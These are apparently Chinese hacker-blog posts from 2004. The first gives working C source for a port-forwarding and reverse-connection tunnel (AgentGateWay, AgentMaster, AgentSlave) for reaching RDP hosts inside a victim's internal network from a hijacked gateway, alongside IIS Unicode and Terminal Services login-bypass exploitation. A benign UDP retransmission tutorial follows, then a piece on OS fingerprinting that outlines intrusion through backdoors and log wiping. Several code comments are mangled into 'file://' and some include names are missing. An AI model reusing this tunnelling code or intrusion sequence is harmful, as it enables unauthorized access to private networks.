现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。
  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows
2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。
<<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>
  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
  我们的目标是连接上敌人内网的Terminal
Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows
2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts
kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP
socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。
攻击流程如下:
<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP
3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。
<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP
socket连接到自己内网的TermServer[192.168.1.3]
<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)
程序代码如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//监听端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本机监听的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);

Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);

if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
file://scoket循环
while(1)
{
printf(" *************Waiting Client Connect
to************** ");
iAddrSize=sizeof(Client);
file://get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
file://create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
file://connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf(" connect() failed:%d",GetLastError());
__leave;
}
printf(" connect to target 3389 success!");
file://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
file://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf(" *****************Connection
Close******************* ");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 file://缓冲区大小20k
file://此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]={0},
szRecvFromClientBuff[BuffSize]={0};
fd_set fdread,fdwrite;
printf(" *****************Connection
Active******************* ");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf(" select() failed:%d",GetLastError());
break;
}
file://printf(" select() return value ret=%d",ret);
if(ret>0)
{
file://sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
file://接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf(" recv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf(" recv %d bytes from sClinet.",iRet);
file://把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
file://刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
file://清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
file://sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
file://转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf(" send() to target failed:%d",GetLastError());
break;
}
printf(" send %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
file://清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
file://重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循环
return 0;
}
file://此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]={0},
szSendToClientBuff[BuffSize]={0};
fd_set fdread,fdwrite;

while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf(" select() failed:%d",GetLastError());
break;
}
if(ret>0)
{
file://sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
file://接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf(" recv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf(" recv %d bytes from target",iRet);
file://把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
file://清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
file://刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
file://client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
file://发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf(" send() to Client failed:%d",GetLastError());
break;
}
printf(" send %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
file://清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}
(利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网)
  事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关OS是2k adv
server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP
PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP
socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT
12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT
12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
  后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//伪装的target的监听端口
#define LocalPort 12345//等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接
sock[2]={INVALID_SOCKET,INVALID_SOCKET};
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
file://load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
file://create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
file://create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
file://fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
file://bind s3389 for attacker
if(bind(s3389,(struct sockaddr
*)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
file://listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
file://bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr
*)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
file://listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
file://socket循环
while(1)
{
file://wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
file://wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
file://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
file://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
file://clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
连接到最终目标的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
file://load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
file://循
while(1)
{
file://create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
file://create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
file://fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
file://connect to AgentMaster
if(connect(sock[0],(struct sockaddr
*)&Master,sizeof(Master))==SOCKET_ERROR)
{
file://连接失败后,等待一会儿再连
printf(" connect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf(" connect to %s %d success!",AgentMasterIP,AgentMasterPort);
file://connect to target
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf(" connect() to target failed:%d",GetLastError());
__leave;
}
printf(" connect to %s %d success!",TargetIP,TargetPort);
file://创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
file://等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;

 

}

- 作者: 007show 2004年08月24日, 星期二 23:26  回复(0) |  引用(0) 加入博采

利用阻塞模式在应用层实现简单的超时重传
众所周知~UDP是一个无连接协议,因此靠它来传输的话是不可靠的,即使是数据包丢失也不会报错。但是,
在编写Linux上的socket程序时,却可以用简单的方法,在应用层实现超时重传,让UDP可靠一些。

首先~我介绍一下Linux下,I/O操作的阻塞模式:
在Linux下,I/O操作有四种模式,分别为:阻塞式I/O,非阻塞式I/O,多路复用I/O,一击信号驱动I/O,这次
需要用到的是阻塞式I/O。阻塞式I/O是最简单,最常用但也是效率最低的一个。在默认模式下,所有的套接字
都是阻塞模式,即:当用户调用这些函数时,函数将一直阻塞下去,直至有某个事件发生。具体事件依函数而
定,比如:调用读函数,由于缓存中还没有数据,而使得读函数发生读阻塞;同理,也可能在调用写函数的时
候发生写阻塞;除此之外,还有调用accept函数的时候,由于没有客户连接服务器,使得其发生阻塞;调用
connect函数时,由于三次握手没有结束,使得其发生阻塞等等。也就是说~在没有特定事件发生的情况下,函
数将什么也不干而等待事件发生,事件发生后则继续执行程序。而有些时候,由于某些原因,会使得函数永远
处于阻塞模式(比如:客户用UDP给服务器传送数据的数据丢失,使得服务器端的recvfrom函数始终处于阻塞模
式)这就需要调用某些函数使这些函数不再阻塞,具体方法有:
1、使用信号:比如调用alarm函数
2、在套接字上设置SO_RCVTIMEO和SO_SNDTIMEO选项,使得其阻塞有时间限制
3、时间选择通过select函数来实现
好啦~阻塞式I/O就说到这里,言归正传~继续讨论相对可靠一些的UDP~
前面已经说了,假如使用阻塞模式,那么,当一个数据包还没有到达目的地时,那么数据包的目的端程序就会
处于阻塞状态,因此不能调用sendto函数给发送端,而发送端此时也在recvfrom下阻塞了,等待对方传来消息。
由于前面已经说了,这是只有两个程序间通信,因此,双方程序的生死之大事、前途、命运……都掌握在传输
的那个数据包上了,如果那个数据包不争气(没准是路由问题,线路问题等等),中途数据包丢失了,那么,
双方都将永远处于阻塞状态:发送端阻塞在recvfrom上,等待接收端回话;接收端也阻塞在recvfrom上,等待
发送端传来的消息。可偏偏那消息不争气,传不过来……难道这俩程序就这么挂了?
如果只有sendto,recvfrom函数而没有超时机制,那……就为这俩程序祈祷吧……大约他们俩就得挂这等关机
或者被处以极刑(就是kill啊~)…………不过~听了我下面说的~就可以解决这问题~同时,让UDP层上面的
应用层有超时重传的能力~(晕~我这不是作广告啊………………)
其实看到这里,大家已经多半想到了如何处理这问题:只要有一方退出阻塞模式,发个数据包,那两个程序就
都解放了~怎么让一个程序退出阻塞模式呢~其实很简单啦~没错~可以用alarm函数~一旦到时间~给程序传
一个SIGALRM的中断消息就可以啦~让程序先处理这消息,然后拦一下SIGALRM消息,爱怎么处理怎么处理~
解决~
/**********************函数:alarm函数(知道的可以不用看)*********************/
#include <unistd.h>
unsigned int alarm(unsigned int seconds);
功能:从调用该函数算起,seconds秒后返回向调用进程传送一个SIGALRM消息
参数:seconds以秒为单位的整数
/******************************************************************************/
看到这里也许你以为一切都解决了,但是还有一个容易被人忽视的问题:在Linux中,默认处理中断的方式是:
当从中断调用返回时,继续执行被中断的系统调用(用在刚才说的例子上就是:继续redvfrom……)这中默认
处理方式大多数时候很有用,但是我们这里就不行了,那这个问题怎么解决呢?
要解决这个问题,就不能单纯的用signal函数去设置中断处理程序了,而是要用另一个函数:sigactiong,
sigaction函数如下:
/********************函数:sigaction函数(知道的可以不用看*********************/
#include <signal.h>
#include <types.h>
int sigaction(int signum,const struct sigaction *act,struct sigaction *oldact);
功能:拦截下signum消息,用act所给的方式处理,将原来的处理方式存在oldact(一般oldact设为NULL);
参数:signum:需要拦截的消息,这里是SIGALRM;
act:处理中断的方式,是一个结构体,后面会介绍这结构体;
oldact:用来存储原来的处理方式,一般为NULL,表示忽略;
/*****************************************************************************/
/********************结构体:struct sigaction(知道的可以不用看)*************/
struct sigaction
{
void (*sa_handler)(int);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
}
成员:第一个sa_handler就是中断处理程序的入口,比如:要用alarm程序处理这个中断,就讲此值设为alarm;
sa_mask:表示在中断处理中要屏蔽的中断;
sa_flags:这是很关键的东西~它包含了一些影响中断处理过程方式的标志,具体取值如下:
SA_NOCLDSTOP:这表示如果所处理的中断是SIGCHLD,由于收到其他信号而导致了子进程终
止,将不发送SIG_CHLD;
SA_ONESHOT or SA_RESETHAND:sa_handler所指向的中断处理程序只被执行一次,之后将设
为默认的中断处理程序;
SA_RESTART:让被处理的系统调用在中断返回后重新执行;
SA_NOMASK or SA_NODEFFER(这就是我们要用的):在中断处理程序执行时,不平比自己的
中断信号;
要考虑的成员就是上面的两个至于其他两个于要处理的问题关系不大,大家可以查书看看
/****************************************************************************/
好啦~到这说的就差不多了~下面举个例子(这不是个完全的程序,只是写了我们所关心的部分)



//省略include
int main()
{
//省略部分变量定义
struct sigaction alr;
memset(&alr,0,sizeof(struct sigaction));
alr.sa_handler=alarmed;//用alarmed函数处理
alr.sa_flags=SA_NOMASK;//具体含义见前文
alr.sa_restorer-NULL;
sigaction(SIGALRM,&alr,NULL);/*需要捕捉SIGALRM消息,具体处理方式在alr结构体中,不关心原来的处理方式*/
/*假设有一个已经设置好的struct sockaddr_in的结构体,名字是addr,和一个已经用bind函数处理完的套接字,变量名是:fd*/
for(;;)
{
alarm(60);//60秒后,如果仍处于阻塞状态就重传
recvfrom(//具体参数我就不说了,反正就是调用了一个recvfrom函数);
//一下省略若干
}
}
void alarmed(int signo)
{
sendto(/*向发送端传送特殊数据包(自己定义,爱什么样什么样),当发送端收到这数据包后,就重传一遍刚才发送的数据(自然这个功能你得自己写……)*/
return;
}
//这个程序……反正大家看懂就好啦~省略了很多检验机制……别跟我学…………

- 作者: 007show 2004年08月24日, 星期二 22:49  回复(2) |  引用(0) 加入博采

黑客对系统识别的基本方法
对操作系统的认识,对于每一个从事计算行业的人都是非常重要,要成为一名黑客更是要对操作系统有深入、深刻的认识。
对操作系统的认识,对于每一个从事计算行业的人都是非常重要,要成为一名黑客更是要对操作系统有深入、深刻的认识。下面就和大家一起来探讨一下这方面的问题。
我们先来看分析一下一个黑客入侵的基本过程:1、判断入侵对象的操作系统—>2、描扫端口,判断开放了那些服务(这两步有可能同时进行)—>3、跟据操作系统和所开放的服务选择入侵方法,通常有“溢出”和“弱口猜测”两种方法—>4、获得系统的最高权力—>5、安放后门、清除日志走人( :)也许有格盘走人的)。
由上面可以知道,在整个过程当中对操作系统类型的判断识别是最基本也是很关系的一步。可想而知,如果你连对方的操作系统是什么都不知道,要想入侵跟本无从谈起。
也许很少人问过自己,我们为什么要先了解对方的操作系统呢?其实,我们了解操作系统的原因是因为我们要了解系统内存的工作况态,了解它是以什么方式,基于什么样的技术来控制内存,以及怎么样来处理输入与输出的数据的。世上任何东西都不可能是尽善尽美的(当然这也是我们人类不断追求的动力所在),作为复杂的计算机系统更如此,它在控制内存与处理数据的过程中总是有可能出错的(特别是在安装了其它的应用程序以后),系统本身也会存在各种各样的弱点与不足之处。黑客之所以能够入侵,就是利用了这些弱点与错误。现在网上流行的各种各样的入侵工具,都是黑客在分析了系统的弱点及存在的错之后编写出来的。(其中以“缓冲区溢出”最为常见)
作为一般的黑客,我们只要善于使用现成的入侵工具,就可以达到我们入侵的目的。但是因为不同的系统,其工作原理不一样,所以不同的入侵工具只能针对相应的操作系统。因此,对操作系统的识别是必不可少的,这就需要我们对操作系统有相当的了解,对网络有一定的基础识(要作黑客还是不那么容易的),关于各类操作系统的介绍,在网上有成堆的文章,大家可以自己去查阅。
在此介绍一此简单的操作系统识别方法给大家,希望对大家有用。
一、用ping来识别操作系统
C:>ping 10.1.1.2

Pinging 10.1.1.2 with 32 bytes of data:

Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128

Ping statistics for 10.1.1.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:>
C:>ping 10.1.1.6

Pinging 10.1.1.6 with 32 bytes of data:

Request timed out.
Reply from 10.1.1.6: bytes=32 time=250ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237

Ping statistics for 10.1.1.6:
Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:
Minimum = 234ms, Maximum = 250ms, Average = 179ms
我们跟据ICMP报文的TTL的值,我们就可以大概知道主机的类型。如:TTL=125左右的主机应该是windows系列的机子,TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子,10.1.1.2就是win2000的机子,而10.1.1.6则是UINX(Sunos 5.8)的机子。这是因为不同操作系统的机子对ICMP报文的处理与应答是有所不同的,TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与操作系统类型的对应,还要靠大家平时多注意观察和积累。
二、直接通过联接端口根据其返回的信息来判操作系统
这种方法应该说是用得最多的一种方法,下面我们来看几个实例。
1、如果机子开了80端口,我们可以telnet(当然如果有NC最好用NC,它可以不用盲打)它的80端口。
Microsoft Windows 2000 [Version 5.00.2195]
© 版权所有 1985-1998 Microsoft Corp.

C:>telnet 10.1.1.2 80
输入get 回车(注意这里是盲打)
如果返回,
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 11 Jul 2003 02:31:55 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>

遗失对主机的连接。
C:>
那么这台就肯定是windows的机子。
如果返回,
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method
Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get to / not
supported.<P> Invalid method in request get<P><HR> <ADDRESS>Apache/1.3.27 Server at gosiuniversity.com Port 80</ADDRESS>
</BODY></HTML>
遗失对主机的连接。
C:>
那么多数就是UINX系统的机子了。
2、如果机子开了21端口,我们可以直接FTP上去
C:>ftp 10.1.1.2
如果返回,
Connected to 10.1.1.2.
220 sgyyq-c43s950 Microsoft FTP Service (Version 5.0).
User (10.1.1.2:(none)):
那么这就肯定是一台win2000的机子了,我们还可以知道主机名呢,主机名就是sgyyq-c43s950。这个FTP是windows的IIS自带的一个FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 Serv-U FTP Server v4.0 for WinSock ready...
User (10.1.1.3:(none)):
也可以肯定它是windows的机子,因为Serv-U FTP是一个专为windows平台开发的FTP服务器。
如果返回,
Connected to 10.1.1.3.
220 ready, dude (vsFTPd 1.1.0: beat me, break me)
User (10.1.1.3:(none)):
那么这就是一台UINX的机子了。
3、如果开了23端口,这个就简单了,直接telnet上去。
如果返回,
Microsoft ® Windows ™ Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
那么这肯定是一台windows的机子了
如果返回,
SunOS 5.8
login:
不用说了,这当然是一台UINX的机子了,并且版本是SunOS 5.8的。
三、利用专门的软件来识别
